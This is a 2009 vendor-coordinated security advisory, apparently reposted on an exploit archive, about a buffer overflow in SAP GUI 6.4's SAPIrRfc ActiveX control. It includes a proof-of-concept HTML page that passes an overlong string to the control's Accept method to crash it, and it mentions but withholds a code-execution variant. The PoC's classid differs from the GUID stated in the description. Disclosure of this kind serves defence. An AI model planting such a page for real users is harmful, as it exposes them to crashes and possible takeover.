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SAP GUI 6.4 ActiveX (Accept) Remote Buffer Overflow PoC
[=======================================================
SAP GUI 6.4 ActiveX (Accept) Remote Buffer Overflow PoC
=======================================================
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-015
Application: SAP GUI for Windows, EnjoySAP
Versions Affected: Version 6.4
Vendor URL: http://SAP.com
Bugs: Buffer Overflow
Exploits: YES
Reported: 13.11.2008
Vendor response: 17.11.2008
Date of Public Advisory: 08.06.2009
CVE-number:
Author: Alexander Polyakov
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
SAP GUI for Windows version 6.4 contains ActiveX component SAPIrRfc which is vulnerable to Buffer overflow attack.
file = sapirrfc.dll
GUID = F6908F83-ADA6-11D0-87AA-00AA00198702
Details
*******
Attacker can construct html page which will call vulnerable function "Accept" from ActiveX Object SAPIrRfc with long parameter.
When user open this vulnerable page it will occur DOS (Example 1) or full remote control on target system (Example2 execute calc.exe aviable by request) .
Example1:
*********
<html>
<object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' />
<script>
arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
target.Accept arg1
</script>
</html>
Fix Information
***************
The issue has been solved. See SAP note 1286637.
References:
***********
SAP note 1286637
https://service.sap.com/sap/support/notes/1286637
http://dsecrg.com/pages/vul/show.php?id=115
About
*****
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
# 0day.today [2024-12-24] #